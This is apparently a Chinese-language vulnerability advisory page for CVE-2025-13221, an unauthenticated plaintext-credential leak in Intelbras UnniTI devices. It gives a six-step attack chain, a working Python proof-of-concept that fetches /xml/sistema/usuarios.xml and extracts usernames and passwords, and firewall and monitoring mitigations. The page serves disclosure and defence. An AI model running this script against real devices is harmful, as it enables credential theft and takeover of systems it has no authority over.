IPBUF安全漏洞报告
English
CVE-2025-13221 CVSS 5.3 中危

CVE-2025-13221 Intelbras UnniTI 配置文件明文凭证泄露漏洞

披露日期: 2025-11-15

漏洞信息

漏洞编号
CVE-2025-13221
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Intelbras UnniTI 24.07.11

相关标签

CVE-2025-13221Intelbras UnniTI敏感信息泄露明文凭证配置文件泄露无需认证远程攻击统一通信设备XML注入凭证窃取

漏洞概述

CVE-2025-13221是Intelbras公司开发的UnniTI统一通信设备中存在的一个中危安全漏洞。该漏洞于2025年11月15日被披露,CVSS评分为5.3(MEDIUM)。漏洞的根本原因在于系统将用户凭证以明文形式存储在配置文件/xml/sistema/usuarios.xml中,攻击者可以通过远程访问该文件直接获取管理员用户名和密码等敏感认证信息。由于该配置文件缺乏适当的访问控制机制,且无需任何认证即可访问,因此任何能够与目标设备进行网络通信的攻击者都可以利用此漏洞获取系统管理权限。该漏洞已被公开利用,攻击代码已发布在Metasploit框架中,构成了严重的安全威胁。攻击者获取凭证后可完全控制UnniTI设备,执行进一步的内网渗透和数据窃取活动。

技术细节

漏洞存在于Intelbras UnniTI 24.07.11版本的Web服务组件中,具体位置为/xml/sistema/usuarios.xml文件。该文件设计用于存储系统用户信息,包括用户名(Usuario)和密码(Senha)字段,但这些敏感凭证数据以明文形式保存,未经过任何加密或哈希处理。系统设计缺陷在于:1)文件访问路径可被直接HTTP请求访问;2)服务器未对该路径实施认证验证;3)敏感数据采用明文存储。攻击者只需构造针对目标设备IP地址的HTTP GET请求,访问路径/xml/sistema/usuarios.xml,即可获取完整的用户凭证列表。利用过程无需任何身份验证或用户交互,属于零交互远程攻击。攻击成功后,攻击者获得的管理员凭证可用于登录设备管理后台,执行配置修改、窃听通话、劫持账户等恶意操作。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者对目标网络进行扫描,识别运行Intelbras UnniTI设备的IP地址
STEP 2
步骤2
访问漏洞端点:构造HTTP GET请求访问/xml/sistema/usuarios.xml路径,无需任何认证
STEP 3
步骤3
获取明文凭证:服务器返回包含明文用户名和密码的XML响应
STEP 4
步骤4
凭证解析:使用正则表达式或手动解析XML内容,提取Usuario和Senha字段
STEP 5
步骤5
权限提升:使用获取的管理员凭证登录UnniTI管理后台
STEP 6
步骤6
持久化控制:修改系统配置、添加后门账户或窃取敏感通信数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13221 PoC - Intelbras UnniTI Plaintext Credentials Disclosure Author: Security Researcher Description: Exploit to retrieve plaintext credentials from Intelbras UnniTI """ import requests import sys import re def exploit(target_url): """Exploit CVE-2025-13221 to retrieve credentials""" # Target the vulnerable XML endpoint endpoint = "/xml/sistema/usuarios.xml" full_url = target_url.rstrip('/') + endpoint print(f"[*] Targeting: {full_url}") print("[*] Attempting to retrieve credentials...") try: # Send HTTP GET request without authentication response = requests.get(full_url, timeout=10) if response.status_code == 200: print(f"[+] Request successful (Status: {response.status_code})") print("\n[+] Raw Response:") print(response.text) # Parse and extract credentials usuarios = re.findall(r'<Usuario>(.*?)</Usuario>', response.text) senhas = re.findall(r'<Senha>(.*?)</Senha>', response.text) if usuarios and senhas: print("\n[+] Extracted Credentials:") for i, (user, pwd) in enumerate(zip(usuarios, senhas)): print(f" User {i+1}: {user}") print(f" Pass {i+1}: {pwd}") return True else: print(f"[-] Request failed (Status: {response.status_code})") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1] exploit(target)

影响范围

Intelbras UnniTI 24.07.11

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)通过网络防火墙或ACL限制对UnniTI设备Web管理界面的访问,仅允许可信IP地址访问;2)定期检查设备日志,监控对/xml/sistema/usuarios.xml路径的异常访问请求;3)如果业务允许,暂时禁用设备的Web管理功能或将其置于隔离网络区域;4)实施网络分段,将UnniTI设备部署在独立的VLAN中,限制横向移动风险;5)监控是否有凭证泄露迹象,如发现异常账户登录行为应立即处置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表